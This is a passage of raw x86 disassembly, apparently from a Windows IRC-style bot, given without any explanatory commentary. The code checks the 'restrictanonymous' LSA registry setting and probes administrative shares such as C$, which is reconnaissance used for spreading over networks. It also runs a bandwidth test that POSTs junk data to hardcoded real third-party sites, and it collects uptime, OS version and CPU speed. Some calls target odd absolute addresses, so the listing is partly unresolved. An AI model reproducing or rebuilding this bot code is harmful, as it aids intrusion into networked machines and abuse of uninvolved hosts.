		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A25A:				; CODE XREF: sub_41A19D+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A2C4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A2A6
		push	offset dword_439D9C
		jmp	short loc_41A2AB
; ---------------------------------------------------------------------------

loc_41A2A6:				; CODE XREF: sub_41A19D+100j
		push	offset dword_439D64

loc_41A2AB:				; CODE XREF: sub_41A19D+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A2DE
; ---------------------------------------------------------------------------

loc_41A2C4:				; CODE XREF: sub_41A19D+E2j
		push	offset dword_439D28
		jmp	short loc_41A2D0
; ---------------------------------------------------------------------------

loc_41A2CB:				; CODE XREF: sub_41A19D+13j
		push	offset dword_439B40

loc_41A2D0:				; CODE XREF: sub_41A19D+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A2DE:				; CODE XREF: sub_41A19D+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A2FD:				; CODE XREF: sub_41A19D+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, ebx
		pop	ecx
		jnz	loc_41A472
		push	edi
		mov	esi, offset off_439A08
		mov	edi, 200h

loc_41A321:				; CODE XREF: sub_41A19D+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BBF
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33C
		push	offset dword_439D08
		jmp	short loc_41A341
; ---------------------------------------------------------------------------

loc_41A33C:				; CODE XREF: sub_41A19D+196j
		push	offset dword_439CE0

loc_41A341:				; CODE XREF: sub_41A19D+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A370
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A370:				; CODE XREF: sub_41A19D+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439A18
		jb	short loc_41A321
		nop
		call	near ptr 2810000h
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45A

loc_41A39B:				; CODE XREF: sub_41A19D+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A44F
		cmp	bl, 41h
		jz	loc_41A44F
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB004
		cmp	eax, 3
		jnz	short loc_41A44F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BBF
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40D
		push	offset dword_439D08
		jmp	short loc_41A412
; ---------------------------------------------------------------------------

loc_41A40D:				; CODE XREF: sub_41A19D+267j
		push	offset dword_439CE0

loc_41A412:				; CODE XREF: sub_41A19D+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A442
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A442:				; CODE XREF: sub_41A19D+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A44F:				; CODE XREF: sub_41A19D+206j
					; sub_41A19D+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39B

loc_41A45A:				; CODE XREF: sub_41A19D+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_439CB0
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A485
; ---------------------------------------------------------------------------

loc_41A472:				; CODE XREF: sub_41A19D+173j
		lea	eax, [ebp+var_220]
		push	offset dword_439A48
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A485:				; CODE XREF: sub_41A19D+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A3
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A4A3:				; CODE XREF: sub_41A19D+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B7	proc near		; CODE XREF: sub_41A6AE+CBp
					; sub_41A6AE+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2680F34h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D1	proc near		; CODE XREF: sub_41A6AE+D4p
					; sub_41A6AE+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AA
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAF9
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AA
		push	50h
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AA
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AA
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433854 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62A
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FA
; ---------------------------------------------------------------------------

loc_41A5F7:				; CODE XREF: sub_41A4D1+157j
		mov	eax, [ebp+arg_0]

loc_41A5FA:				; CODE XREF: sub_41A4D1+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60A
		push	[ebp+var_C]
		jmp	short loc_41A60B
; ---------------------------------------------------------------------------

loc_41A60A:				; CODE XREF: sub_41A4D1+132j
		push	ebx

loc_41A60B:				; CODE XREF: sub_41A4D1+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A691
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F7

loc_41A62A:				; CODE XREF: sub_41A4D1+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_427714
		fst	[ebp+arg_0]
		fcomp	flt_427710
		fnstsw	ax
		sahf
		jnz	short loc_41A652
		fld1
		fstp	[ebp+arg_0]

loc_41A652:				; CODE XREF: sub_41A4D1+17Aj
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_42770C
		fmul	flt_427708
		call	sub_41C798

loc_41A68C:				; CODE XREF: sub_41A4D1+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A691:				; CODE XREF: sub_41A4D1+149j
		push	[ebp+var_4]
		call	dword_4CB03C
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx

loc_41A6AA:				; CODE XREF: sub_41A4D1+19j
					; sub_41A4D1+42j ...
		xor	eax, eax
		jmp	short loc_41A68C
sub_41A4D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AE	proc near		; CODE XREF: sub_401ACD+2E61p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		push	8
		mov	esi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D1
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7AF
		test	eax, eax
		jz	short loc_41A7AB
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AB:				; CODE XREF: sub_41A6AE+F4j
		mov	ebx, esi
		jmp	short loc_41A7B1
; ---------------------------------------------------------------------------

loc_41A7AF:				; CODE XREF: sub_41A6AE+F0j
		mov	ebx, eax

loc_41A7B1:				; CODE XREF: sub_41A6AE+FBj
					; sub_41A6AE+FFj
		push	0Ch
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		push	0Ch
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7E9
		test	eax, eax
		jz	short loc_41A7E5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E5:				; CODE XREF: sub_41A6AE+12Ej
		mov	esi, edi
		jmp	short loc_41A7EB
; ---------------------------------------------------------------------------

loc_41A7E9:				; CODE XREF: sub_41A6AE+12Aj
		mov	esi, eax

loc_41A7EB:				; CODE XREF: sub_41A6AE+135j
					; sub_41A6AE+139j
		push	6
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		push	6
		mov	edi, eax
		call	sub_41A4B7
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D1
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A823
		test	eax, eax
		jz	short loc_41A81F
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A6AE+168j
		mov	ecx, edi
		jmp	short loc_41A825
; ---------------------------------------------------------------------------

loc_41A823:				; CODE XREF: sub_41A6AE+164j
		mov	ecx, eax

loc_41A825:				; CODE XREF: sub_41A6AE+16Fj
					; sub_41A6AE+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A832
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A835
; ---------------------------------------------------------------------------

loc_41A832:				; CODE XREF: sub_41A6AE+17Bj
		push	2
		pop	edi

loc_41A835:				; CODE XREF: sub_41A6AE+182j
		test	esi, esi
		jz	short loc_41A83D
		add	eax, esi
		jmp	short loc_41A83E
; ---------------------------------------------------------------------------

loc_41A83D:				; CODE XREF: sub_41A6AE+189j
		dec	edi

loc_41A83E:				; CODE XREF: sub_41A6AE+18Dj
		test	ecx, ecx
		jz	short loc_41A846
		add	eax, ecx
		jmp	short loc_41A847
; ---------------------------------------------------------------------------

loc_41A846:				; CODE XREF: sub_41A6AE+192j
		dec	edi

loc_41A847:				; CODE XREF: sub_41A6AE+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_439E50
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AC
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88B	proc near		; CODE XREF: sub_401ACD+25A0p
					; sub_401ACD+2A10p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2680F34h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB270
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F4	proc near		; CODE XREF: sub_416F1A+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26C061Bh
		test	eax, eax
		jz	short loc_41A987
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95D
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A945
		cmp	[ebp+var_84], 1
		jnz	short loc_41A938
		push	1
		pop	esi

loc_41A938:				; CODE XREF: sub_41A8F4+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A987
		push	1
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A945:				; CODE XREF: sub_41A8F4+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A952

loc_41A94E:				; CODE XREF: sub_41A8F4+78j
		push	2
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A952:				; CODE XREF: sub_41A8F4+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A987
		jmp	short loc_41A977
; ---------------------------------------------------------------------------

loc_41A95D:				; CODE XREF: sub_41A8F4+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A987
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94E
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97B

loc_41A977:				; CODE XREF: sub_41A8F4+67j
		push	3
		jmp	short loc_41A986
; ---------------------------------------------------------------------------

loc_41A97B:				; CODE XREF: sub_41A8F4+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A987
		push	7

loc_41A986:				; CODE XREF: sub_41A8F4+4Fj
					; sub_41A8F4+5Cj ...
		pop	esi

loc_41A987:				; CODE XREF: sub_41A8F4+25j
					; sub_41A8F4+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98C	proc near		; CODE XREF: sub_41AA42+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h

loc_41A994:				; CODE XREF: sub_41A98C+2Fj
					; sub_41A98C+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2670535h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A994
		jb	short loc_41A9C3
		cmp	ebx, esi
		ja	short loc_41A994

loc_41A9C3:				; CODE XREF: sub_41A98C+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA36
		jb	short loc_41A9E2
		cmp	esi, 50h
		jnb	short loc_41A9E7

loc_41A9E2:				; CODE XREF: sub_41A98C+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax

loc_41A9E7:				; CODE XREF: sub_41A98C+54j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41A9F2
		cmp	esi, 47h
		jnb	short loc_41A9F7

loc_41A9F2:				; CODE XREF: sub_41A98C+5Fj
		push	42h
		xor	edx, edx
		pop	eax

loc_41A9F7:				; CODE XREF: sub_41A98C+64j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA02
		cmp	esi, 37h
		jnb	short loc_41AA07

loc_41AA02:				; CODE XREF: sub_41A98C+6Fj
		push	32h
		xor	edx, edx
		pop	eax

loc_41AA07:				; CODE XREF: sub_41A98C+74j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA12
		cmp	esi, 26h
		jnb	short loc_41AA17

loc_41AA12:				; CODE XREF: sub_41A98C+7Fj
		push	21h
		xor	edx, edx
		pop	eax

loc_41AA17:				; CODE XREF: sub_41A98C+84j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA22
		cmp	esi, 1Eh
		jnb	short loc_41AA27

loc_41AA22:				; CODE XREF: sub_41A98C+8Fj
		push	19h
		xor	edx, edx
		pop	eax

loc_41AA27:				; CODE XREF: sub_41A98C+94j
		test	ecx, ecx
		ja	short loc_41AA36
		jb	short loc_41AA32
		cmp	esi, 0Ah
		jnb	short loc_41AA36

loc_41AA32:				; CODE XREF: sub_41A98C+9Fj
		xor	eax, eax
		xor	edx, edx

loc_41AA36:				; CODE XREF: sub_41A98C+4Dj
					; sub_41A98C+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA42	proc near		; CODE XREF: sub_401ACD+276Ep

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D158
		mov	[ebp+var_CC], 94h
		call	near ptr 26C061Bh
		nop
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AAC9
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA5
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA8F
		mov	[ebp+var_4], offset dword_4312B4

loc_41AA8F:				; CODE XREF: sub_41AA42+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB44
		mov	[ebp+var_4], offset dword_4312B0
		jmp	short loc_41AB15
; ---------------------------------------------------------------------------

loc_41AAA5:				; CODE XREF: sub_41AA42+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB7
		mov	[ebp+var_4], offset dword_4312AC
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAB7:				; CODE XREF: sub_41AA42+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB05
		mov	[ebp+var_4], offset dword_4312A8
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAC9:				; CODE XREF: sub_41AA42+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB05
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE3
		mov	[ebp+var_4], offset dword_4312A4
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAE3:				; CODE XREF: sub_41AA42+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF5
		mov	[ebp+var_4], offset dword_4312A0
		jmp	short loc_41AB0C
; ---------------------------------------------------------------------------

loc_41AAF5:				; CODE XREF: sub_41AA42+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0C

loc_41AB05:				; CODE XREF: sub_41AA42+7Cj
					; sub_41AA42+8Ej
		mov	[ebp+var_4], offset dword_431298

loc_41AB0C:				; CODE XREF: sub_41AA42+73j
					; sub_41AA42+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB44

loc_41AB15:				; CODE XREF: sub_41AA42+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB44
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax

loc_41AB44:				; CODE XREF: sub_41AA42+54j
					; sub_41AA42+D1j ...
		mov	ax, word_43786C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CAE84
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7D
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax

loc_41AB7D:				; CODE XREF: sub_41AA42+12Cj
		push	[ebp+arg_4]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFE4
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, ebx
		jz	short loc_41ABA6
		push	dword ptr [eax]
		jmp	short loc_41ABAB
; ---------------------------------------------------------------------------

loc_41ABA6:				; CODE XREF: sub_41AA42+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"

loc_41ABAB:				; CODE XREF: sub_41AA42+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A144
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2720000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	near ptr 2711476h
		nop
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2820000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A32
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
